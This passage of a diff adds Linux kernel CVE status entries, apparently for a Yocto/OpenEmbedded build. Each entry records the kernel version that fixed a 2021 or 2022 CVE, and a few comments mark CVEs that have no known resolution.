+# CVE-2021-0961 has no known resolution
+
+CVE_STATUS[CVE-2021-1048] = "fixed-version: Fixed from version 5.9rc4"
+
+CVE_STATUS[CVE-2021-20177] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2021-20194] = "fixed-version: Fixed from version 5.10rc1"
+
+# CVE-2021-20219 has no known resolution
+
+CVE_STATUS[CVE-2021-20226] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2021-20239] = "fixed-version: Fixed from version 5.9rc1"
+
+CVE_STATUS[CVE-2021-20261] = "fixed-version: Fixed from version 4.5rc5"
+
+CVE_STATUS[CVE-2021-20265] = "fixed-version: Fixed from version 4.5rc3"
+
+CVE_STATUS[CVE-2021-20268] = "fixed-version: Fixed from version 5.11rc5"
+
+CVE_STATUS[CVE-2021-20292] = "fixed-version: Fixed from version 5.9rc1"
+
+CVE_STATUS[CVE-2021-20317] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2021-20320] = "fixed-version: Fixed from version 5.15rc3"
+
+CVE_STATUS[CVE-2021-20321] = "fixed-version: Fixed from version 5.15rc5"
+
+CVE_STATUS[CVE-2021-20322] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2021-21781] = "fixed-version: Fixed from version 5.11rc7"
+
+CVE_STATUS[CVE-2021-22543] = "fixed-version: Fixed from version 5.13"
+
+CVE_STATUS[CVE-2021-22555] = "fixed-version: Fixed from version 5.12rc8"
+
+CVE_STATUS[CVE-2021-22600] = "fixed-version: Fixed from version 5.16rc6"
+
+CVE_STATUS[CVE-2021-23133] = "fixed-version: Fixed from version 5.12rc8"
+
+CVE_STATUS[CVE-2021-23134] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2021-26401] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2021-26708] = "fixed-version: Fixed from version 5.11rc7"
+
+CVE_STATUS[CVE-2021-26930] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2021-26931] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2021-26932] = "fixed-version: Fixed from version 5.12rc1"
+
+# CVE-2021-26934 has no known resolution
+
+CVE_STATUS[CVE-2021-27363] = "fixed-version: Fixed from version 5.12rc2"
+
+CVE_STATUS[CVE-2021-27364] = "fixed-version: Fixed from version 5.12rc2"
+
+CVE_STATUS[CVE-2021-27365] = "fixed-version: Fixed from version 5.12rc2"
+
+CVE_STATUS[CVE-2021-28038] = "fixed-version: Fixed from version 5.12rc2"
+
+CVE_STATUS[CVE-2021-28039] = "fixed-version: Fixed from version 5.12rc2"
+
+CVE_STATUS[CVE-2021-28375] = "fixed-version: Fixed from version 5.12rc3"
+
+CVE_STATUS[CVE-2021-28660] = "fixed-version: Fixed from version 5.12rc3"
+
+CVE_STATUS[CVE-2021-28688] = "fixed-version: Fixed from version 5.12rc6"
+
+CVE_STATUS[CVE-2021-28691] = "fixed-version: Fixed from version 5.13rc6"
+
+CVE_STATUS[CVE-2021-28711] = "fixed-version: Fixed from version 5.16rc7"
+
+CVE_STATUS[CVE-2021-28712] = "fixed-version: Fixed from version 5.16rc7"
+
+CVE_STATUS[CVE-2021-28713] = "fixed-version: Fixed from version 5.16rc7"
+
+CVE_STATUS[CVE-2021-28714] = "fixed-version: Fixed from version 5.16rc7"
+
+CVE_STATUS[CVE-2021-28715] = "fixed-version: Fixed from version 5.16rc7"
+
+CVE_STATUS[CVE-2021-28950] = "fixed-version: Fixed from version 5.12rc4"
+
+CVE_STATUS[CVE-2021-28951] = "fixed-version: Fixed from version 5.12rc2"
+
+CVE_STATUS[CVE-2021-28952] = "fixed-version: Fixed from version 5.12rc4"
+
+CVE_STATUS[CVE-2021-28964] = "fixed-version: Fixed from version 5.12rc4"
+
+CVE_STATUS[CVE-2021-28971] = "fixed-version: Fixed from version 5.12rc4"
+
+CVE_STATUS[CVE-2021-28972] = "fixed-version: Fixed from version 5.12rc4"
+
+CVE_STATUS[CVE-2021-29154] = "fixed-version: Fixed from version 5.12rc7"
+
+CVE_STATUS[CVE-2021-29155] = "fixed-version: Fixed from version 5.12rc8"
+
+CVE_STATUS[CVE-2021-29264] = "fixed-version: Fixed from version 5.12rc3"
+
+CVE_STATUS[CVE-2021-29265] = "fixed-version: Fixed from version 5.12rc3"
+
+CVE_STATUS[CVE-2021-29266] = "fixed-version: Fixed from version 5.12rc4"
+
+CVE_STATUS[CVE-2021-29646] = "fixed-version: Fixed from version 5.12rc5"
+
+CVE_STATUS[CVE-2021-29647] = "fixed-version: Fixed from version 5.12rc5"
+
+CVE_STATUS[CVE-2021-29648] = "fixed-version: Fixed from version 5.12rc5"
+
+CVE_STATUS[CVE-2021-29649] = "fixed-version: Fixed from version 5.12rc5"
+
+CVE_STATUS[CVE-2021-29650] = "fixed-version: Fixed from version 5.12rc5"
+
+CVE_STATUS[CVE-2021-29657] = "fixed-version: Fixed from version 5.12rc6"
+
+CVE_STATUS[CVE-2021-30002] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2021-30178] = "fixed-version: Fixed from version 5.12rc2"
+
+CVE_STATUS[CVE-2021-31440] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2021-3178] = "fixed-version: Fixed from version 5.11rc5"
+
+CVE_STATUS[CVE-2021-31829] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2021-31916] = "fixed-version: Fixed from version 5.12rc5"
+
+CVE_STATUS[CVE-2021-32078] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2021-32399] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2021-32606] = "fixed-version: Fixed from version 5.13rc4"
+
+CVE_STATUS[CVE-2021-33033] = "fixed-version: Fixed from version 5.12rc3"
+
+CVE_STATUS[CVE-2021-33034] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2021-33061] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2021-33098] = "fixed-version: Fixed from version 5.13rc4"
+
+CVE_STATUS[CVE-2021-33135] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2021-33200] = "fixed-version: Fixed from version 5.13rc4"
+
+CVE_STATUS[CVE-2021-3347] = "fixed-version: Fixed from version 5.11rc6"
+
+CVE_STATUS[CVE-2021-3348] = "fixed-version: Fixed from version 5.11rc6"
+
+CVE_STATUS[CVE-2021-33624] = "fixed-version: Fixed from version 5.13rc7"
+
+CVE_STATUS[CVE-2021-33630] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2021-33631] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2021-33655] = "fixed-version: Fixed from version 5.19rc6"
+
+CVE_STATUS[CVE-2021-33656] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2021-33909] = "fixed-version: Fixed from version 5.14rc3"
+
+CVE_STATUS[CVE-2021-3411] = "fixed-version: Fixed from version 5.10"
+
+CVE_STATUS[CVE-2021-3428] = "fixed-version: Fixed from version 5.9rc2"
+
+CVE_STATUS[CVE-2021-3444] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2021-34556] = "fixed-version: Fixed from version 5.14rc4"
+
+CVE_STATUS[CVE-2021-34693] = "fixed-version: Fixed from version 5.13rc7"
+
+CVE_STATUS[CVE-2021-3483] = "fixed-version: Fixed from version 5.12rc6"
+
+CVE_STATUS[CVE-2021-34866] = "fixed-version: Fixed from version 5.14"
+
+CVE_STATUS[CVE-2021-3489] = "fixed-version: Fixed from version 5.13rc4"
+
+CVE_STATUS[CVE-2021-3490] = "fixed-version: Fixed from version 5.13rc4"
+
+CVE_STATUS[CVE-2021-3491] = "fixed-version: Fixed from version 5.13rc1"
+
+# CVE-2021-3492 has no known resolution
+
+CVE_STATUS[CVE-2021-3493] = "fixed-version: Fixed from version 5.11rc1"
+
+CVE_STATUS[CVE-2021-34981] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2021-3501] = "fixed-version: Fixed from version 5.12rc8"
+
+CVE_STATUS[CVE-2021-35039] = "fixed-version: Fixed from version 5.13"
+
+CVE_STATUS[CVE-2021-3506] = "fixed-version: Fixed from version 5.13rc1"
+
+# CVE-2021-3542 has no known resolution
+
+CVE_STATUS[CVE-2021-3543] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2021-35477] = "fixed-version: Fixed from version 5.14rc4"
+
+CVE_STATUS[CVE-2021-3564] = "fixed-version: Fixed from version 5.13rc5"
+
+CVE_STATUS[CVE-2021-3573] = "fixed-version: Fixed from version 5.13rc5"
+
+CVE_STATUS[CVE-2021-3587] = "fixed-version: Fixed from version 5.13rc5"
+
+CVE_STATUS[CVE-2021-3600] = "fixed-version: Fixed from version 5.11"
+
+CVE_STATUS[CVE-2021-3609] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2021-3612] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2021-3635] = "fixed-version: Fixed from version 5.5rc7"
+
+CVE_STATUS[CVE-2021-3640] = "fixed-version: Fixed from version 5.16rc1"
+
+CVE_STATUS[CVE-2021-3653] = "fixed-version: Fixed from version 5.14rc7"
+
+CVE_STATUS[CVE-2021-3655] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2021-3656] = "fixed-version: Fixed from version 5.14rc7"
+
+CVE_STATUS[CVE-2021-3659] = "fixed-version: Fixed from version 5.12rc7"
+
+CVE_STATUS[CVE-2021-3669] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2021-3679] = "fixed-version: Fixed from version 5.14rc3"
+
+# CVE-2021-3714 has no known resolution
+
+CVE_STATUS[CVE-2021-3715] = "fixed-version: Fixed from version 5.6"
+
+CVE_STATUS[CVE-2021-37159] = "fixed-version: Fixed from version 5.14rc3"
+
+CVE_STATUS[CVE-2021-3732] = "fixed-version: Fixed from version 5.14rc6"
+
+CVE_STATUS[CVE-2021-3736] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2021-3739] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2021-3743] = "fixed-version: Fixed from version 5.13rc7"
+
+CVE_STATUS[CVE-2021-3744] = "fixed-version: Fixed from version 5.15rc4"
+
+CVE_STATUS[CVE-2021-3752] = "fixed-version: Fixed from version 5.16rc1"
+
+CVE_STATUS[CVE-2021-3753] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2021-37576] = "fixed-version: Fixed from version 5.14rc3"
+
+CVE_STATUS[CVE-2021-3759] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2021-3760] = "fixed-version: Fixed from version 5.15rc6"
+
+CVE_STATUS[CVE-2021-3764] = "fixed-version: Fixed from version 5.15rc4"
+
+CVE_STATUS[CVE-2021-3772] = "fixed-version: Fixed from version 5.15"
+
+CVE_STATUS[CVE-2021-38160] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2021-38166] = "fixed-version: Fixed from version 5.14rc6"
+
+CVE_STATUS[CVE-2021-38198] = "fixed-version: Fixed from version 5.13rc6"
+
+CVE_STATUS[CVE-2021-38199] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2021-38200] = "fixed-version: Fixed from version 5.13rc7"
+
+CVE_STATUS[CVE-2021-38201] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2021-38202] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2021-38203] = "fixed-version: Fixed from version 5.14rc2"
+
+CVE_STATUS[CVE-2021-38204] = "fixed-version: Fixed from version 5.14rc3"
+
+CVE_STATUS[CVE-2021-38205] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2021-38206] = "fixed-version: Fixed from version 5.13rc7"
+
+CVE_STATUS[CVE-2021-38207] = "fixed-version: Fixed from version 5.13rc7"
+
+CVE_STATUS[CVE-2021-38208] = "fixed-version: Fixed from version 5.13rc5"
+
+CVE_STATUS[CVE-2021-38209] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2021-38300] = "fixed-version: Fixed from version 5.15rc4"
+
+# CVE-2021-3847 has no known resolution
+
+# CVE-2021-3864 has no known resolution
+
+# CVE-2021-3892 has no known resolution
+
+CVE_STATUS[CVE-2021-3894] = "fixed-version: Fixed from version 5.15rc6"
+
+CVE_STATUS[CVE-2021-3896] = "fixed-version: Fixed from version 5.15rc6"
+
+CVE_STATUS[CVE-2021-3923] = "fixed-version: Fixed from version 5.16"
+
+CVE_STATUS[CVE-2021-39633] = "fixed-version: Fixed from version 5.14"
+
+CVE_STATUS[CVE-2021-39634] = "fixed-version: Fixed from version 5.9rc8"
+
+CVE_STATUS[CVE-2021-39636] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2021-39648] = "fixed-version: Fixed from version 5.11rc3"
+
+CVE_STATUS[CVE-2021-39656] = "fixed-version: Fixed from version 5.12rc3"
+
+CVE_STATUS[CVE-2021-39657] = "fixed-version: Fixed from version 5.11rc4"
+
+CVE_STATUS[CVE-2021-39685] = "fixed-version: Fixed from version 5.16rc5"
+
+CVE_STATUS[CVE-2021-39686] = "fixed-version: Fixed from version 5.16rc1"
+
+CVE_STATUS[CVE-2021-39698] = "fixed-version: Fixed from version 5.16rc5"
+
+CVE_STATUS[CVE-2021-39711] = "fixed-version: Fixed from version 4.18rc6"
+
+CVE_STATUS[CVE-2021-39713] = "fixed-version: Fixed from version 4.20rc1"
+
+CVE_STATUS[CVE-2021-39714] = "fixed-version: Fixed from version 4.12rc1"
+
+# CVE-2021-39800 has no known resolution
+
+# CVE-2021-39801 has no known resolution
+
+# CVE-2021-39802 has no known resolution
+
+CVE_STATUS[CVE-2021-4001] = "fixed-version: Fixed from version 5.16rc2"
+
+CVE_STATUS[CVE-2021-4002] = "fixed-version: Fixed from version 5.16rc3"
+
+CVE_STATUS[CVE-2021-4023] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2021-4028] = "fixed-version: Fixed from version 5.15rc4"
+
+CVE_STATUS[CVE-2021-4032] = "fixed-version: Fixed from version 5.15rc7"
+
+CVE_STATUS[CVE-2021-4037] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2021-40490] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2021-4083] = "fixed-version: Fixed from version 5.16rc4"
+
+CVE_STATUS[CVE-2021-4090] = "fixed-version: Fixed from version 5.16rc2"
+
+CVE_STATUS[CVE-2021-4093] = "fixed-version: Fixed from version 5.15rc7"
+
+CVE_STATUS[CVE-2021-4095] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2021-41073] = "fixed-version: Fixed from version 5.15rc2"
+
+CVE_STATUS[CVE-2021-4135] = "fixed-version: Fixed from version 5.16rc6"
+
+CVE_STATUS[CVE-2021-4148] = "fixed-version: Fixed from version 5.15"
+
+CVE_STATUS[CVE-2021-4149] = "fixed-version: Fixed from version 5.15rc6"
+
+CVE_STATUS[CVE-2021-4150] = "fixed-version: Fixed from version 5.15rc7"
+
+CVE_STATUS[CVE-2021-4154] = "fixed-version: Fixed from version 5.14rc2"
+
+CVE_STATUS[CVE-2021-4155] = "fixed-version: Fixed from version 5.16"
+
+CVE_STATUS[CVE-2021-4157] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2021-4159] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2021-41864] = "fixed-version: Fixed from version 5.15rc5"
+
+CVE_STATUS[CVE-2021-4197] = "fixed-version: Fixed from version 5.16"
+
+CVE_STATUS[CVE-2021-42008] = "fixed-version: Fixed from version 5.14rc7"
+
+CVE_STATUS[CVE-2021-4202] = "fixed-version: Fixed from version 5.16rc2"
+
+CVE_STATUS[CVE-2021-4203] = "fixed-version: Fixed from version 5.15rc4"
+
+CVE_STATUS[CVE-2021-4204] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2021-4218] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2021-42252] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2021-42327] = "fixed-version: Fixed from version 5.15"
+
+CVE_STATUS[CVE-2021-42739] = "fixed-version: Fixed from version 5.16rc1"
+
+CVE_STATUS[CVE-2021-43056] = "fixed-version: Fixed from version 5.15rc6"
+
+CVE_STATUS[CVE-2021-43057] = "fixed-version: Fixed from version 5.15rc3"
+
+CVE_STATUS[CVE-2021-43267] = "fixed-version: Fixed from version 5.15"
+
+CVE_STATUS[CVE-2021-43389] = "fixed-version: Fixed from version 5.15rc6"
+
+CVE_STATUS[CVE-2021-43975] = "fixed-version: Fixed from version 5.16rc2"
+
+CVE_STATUS[CVE-2021-43976] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2021-44733] = "fixed-version: Fixed from version 5.16rc7"
+
+CVE_STATUS[CVE-2021-44879] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2021-45095] = "fixed-version: Fixed from version 5.16rc6"
+
+CVE_STATUS[CVE-2021-45100] = "fixed-version: Fixed from version 5.16rc7"
+
+CVE_STATUS[CVE-2021-45402] = "fixed-version: Fixed from version 5.16rc6"
+
+CVE_STATUS[CVE-2021-45469] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2021-45480] = "fixed-version: Fixed from version 5.16rc6"
+
+CVE_STATUS[CVE-2021-45485] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2021-45486] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2021-45868] = "fixed-version: Fixed from version 5.16rc1"
+
+CVE_STATUS[CVE-2021-46283] = "fixed-version: Fixed from version 5.13rc7"
+
+CVE_STATUS[CVE-2022-0001] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-0002] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-0168] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-0171] = "fixed-version: Fixed from version 5.18rc4"
+
+CVE_STATUS[CVE-2022-0185] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2022-0264] = "fixed-version: Fixed from version 5.16rc6"
+
+CVE_STATUS[CVE-2022-0286] = "fixed-version: Fixed from version 5.14rc2"
+
+CVE_STATUS[CVE-2022-0322] = "fixed-version: Fixed from version 5.15rc6"
+
+CVE_STATUS[CVE-2022-0330] = "fixed-version: Fixed from version 5.17rc2"
+
+CVE_STATUS[CVE-2022-0382] = "fixed-version: Fixed from version 5.16"
+
+# CVE-2022-0400 has no known resolution
+
+CVE_STATUS[CVE-2022-0433] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2022-0435] = "fixed-version: Fixed from version 5.17rc4"
+
+CVE_STATUS[CVE-2022-0480] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2022-0487] = "fixed-version: Fixed from version 5.17rc4"
+
+CVE_STATUS[CVE-2022-0492] = "fixed-version: Fixed from version 5.17rc3"
+
+CVE_STATUS[CVE-2022-0494] = "fixed-version: Fixed from version 5.17rc5"
+
+CVE_STATUS[CVE-2022-0500] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2022-0516] = "fixed-version: Fixed from version 5.17rc4"
+
+CVE_STATUS[CVE-2022-0617] = "fixed-version: Fixed from version 5.17rc2"
+
+CVE_STATUS[CVE-2022-0644] = "fixed-version: Fixed from version 5.15rc7"
+
+CVE_STATUS[CVE-2022-0646] = "fixed-version: Fixed from version 5.17rc5"
+
+CVE_STATUS[CVE-2022-0742] = "fixed-version: Fixed from version 5.17rc7"
+
+CVE_STATUS[CVE-2022-0812] = "fixed-version: Fixed from version 5.8rc6"
+
+CVE_STATUS[CVE-2022-0847] = "fixed-version: Fixed from version 5.17rc6"
+
+CVE_STATUS[CVE-2022-0850] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2022-0854] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-0995] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-0998] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2022-1011] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-1012] = "fixed-version: Fixed from version 5.18rc6"
+
+CVE_STATUS[CVE-2022-1015] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-1016] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-1043] = "fixed-version: Fixed from version 5.14rc7"
+
+CVE_STATUS[CVE-2022-1048] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-1055] = "fixed-version: Fixed from version 5.17rc3"
+
+# CVE-2022-1116 has no known resolution
+
+CVE_STATUS[CVE-2022-1158] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-1184] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-1195] = "fixed-version: Fixed from version 5.16rc7"
+
+CVE_STATUS[CVE-2022-1198] = "fixed-version: Fixed from version 5.17rc6"
+
+CVE_STATUS[CVE-2022-1199] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-1204] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-1205] = "fixed-version: Fixed from version 5.18rc1"
+
+# CVE-2022-1247 has no known resolution
+
+CVE_STATUS[CVE-2022-1263] = "fixed-version: Fixed from version 5.18rc3"
+
+CVE_STATUS[CVE-2022-1280] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2022-1353] = "fixed-version: Fixed from version 5.17"
+
+CVE_STATUS[CVE-2022-1419] = "fixed-version: Fixed from version 5.6rc2"
+
+CVE_STATUS[CVE-2022-1462] = "fixed-version: Fixed from version 5.19rc7"
+
+CVE_STATUS[CVE-2022-1508] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2022-1516] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-1651] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-1652] = "fixed-version: Fixed from version 5.18rc6"
+
+CVE_STATUS[CVE-2022-1671] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-1678] = "fixed-version: Fixed from version 4.20rc1"
+
+CVE_STATUS[CVE-2022-1679] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-1729] = "fixed-version: Fixed from version 5.18"
+
+CVE_STATUS[CVE-2022-1734] = "fixed-version: Fixed from version 5.18rc6"
+
+CVE_STATUS[CVE-2022-1786] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2022-1789] = "fixed-version: Fixed from version 5.18"
+
+CVE_STATUS[CVE-2022-1836] = "fixed-version: Fixed from version 5.18rc5"
+
+CVE_STATUS[CVE-2022-1852] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-1882] = "fixed-version: Fixed from version 5.19rc8"
+
+CVE_STATUS[CVE-2022-1943] = "fixed-version: Fixed from version 5.18rc7"
+
+CVE_STATUS[CVE-2022-1966] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-1972] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-1973] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-1974] = "fixed-version: Fixed from version 5.18rc6"
+
+CVE_STATUS[CVE-2022-1975] = "fixed-version: Fixed from version 5.18rc6"
+
+CVE_STATUS[CVE-2022-1976] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-1998] = "fixed-version: Fixed from version 5.17rc3"
+
+CVE_STATUS[CVE-2022-20008] = "fixed-version: Fixed from version 5.17rc5"
+
+CVE_STATUS[CVE-2022-20132] = "fixed-version: Fixed from version 5.16rc5"
+
+CVE_STATUS[CVE-2022-20141] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2022-20148] = "fixed-version: Fixed from version 5.16rc1"
+
+CVE_STATUS[CVE-2022-20153] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2022-20154] = "fixed-version: Fixed from version 5.16rc8"
+
+CVE_STATUS[CVE-2022-20158] = "fixed-version: Fixed from version 5.17"
+
+CVE_STATUS[CVE-2022-20166] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2022-20368] = "fixed-version: Fixed from version 5.17"
+
+CVE_STATUS[CVE-2022-20369] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-20409] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2022-20421] = "fixed-version: Fixed from version 6.0rc4"
+
+CVE_STATUS[CVE-2022-20422] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-20423] = "fixed-version: Fixed from version 5.17"
+
+CVE_STATUS[CVE-2022-20424] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2022-20565] = "fixed-version: Fixed from version 5.9rc4"
+
+CVE_STATUS[CVE-2022-20566] = "fixed-version: Fixed from version 5.19"
+
+CVE_STATUS[CVE-2022-20567] = "fixed-version: Fixed from version 4.16rc5"
+
+CVE_STATUS[CVE-2022-20568] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2022-20572] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-2078] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-21123] = "fixed-version: Fixed from version 5.19rc3"
+
+CVE_STATUS[CVE-2022-21125] = "fixed-version: Fixed from version 5.19rc3"
+
+CVE_STATUS[CVE-2022-21166] = "fixed-version: Fixed from version 5.19rc3"
+
+CVE_STATUS[CVE-2022-21385] = "fixed-version: Fixed from version 4.20"
+
+CVE_STATUS[CVE-2022-21499] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-21505] = "fixed-version: Fixed from version 5.19rc8"
+
+CVE_STATUS[CVE-2022-2153] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-2196] = "fixed-version: Fixed from version 6.2rc1"
+
+# CVE-2022-2209 has no known resolution
+
+CVE_STATUS[CVE-2022-22942] = "fixed-version: Fixed from version 5.17rc2"
+
+CVE_STATUS[CVE-2022-23036] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-23037] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-23038] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-23039] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-23040] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-23041] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-23042] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-2308] = "fixed-version: Fixed from version 6.0"
+
+CVE_STATUS[CVE-2022-2318] = "fixed-version: Fixed from version 5.19rc5"
+
+CVE_STATUS[CVE-2022-23222] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2022-2327] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2022-2380] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-23816] = "fixed-version: Fixed from version 5.19rc7"
+
+# CVE-2022-23825 has no known resolution
+
+CVE_STATUS[CVE-2022-23960] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-24122] = "fixed-version: Fixed from version 5.17rc2"
+
+CVE_STATUS[CVE-2022-24448] = "fixed-version: Fixed from version 5.17rc2"
+
+CVE_STATUS[CVE-2022-24958] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2022-24959] = "fixed-version: Fixed from version 5.17rc2"
+
+CVE_STATUS[CVE-2022-2503] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-25258] = "fixed-version: Fixed from version 5.17rc4"
+
+# CVE-2022-25265 has no known resolution
+
+CVE_STATUS[CVE-2022-25375] = "fixed-version: Fixed from version 5.17rc4"
+
+CVE_STATUS[CVE-2022-25636] = "fixed-version: Fixed from version 5.17rc6"
+
+CVE_STATUS[CVE-2022-2585] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-2586] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-2588] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-2590] = "fixed-version: Fixed from version 6.0rc3"
+
+CVE_STATUS[CVE-2022-2602] = "fixed-version: Fixed from version 6.1rc1"
+
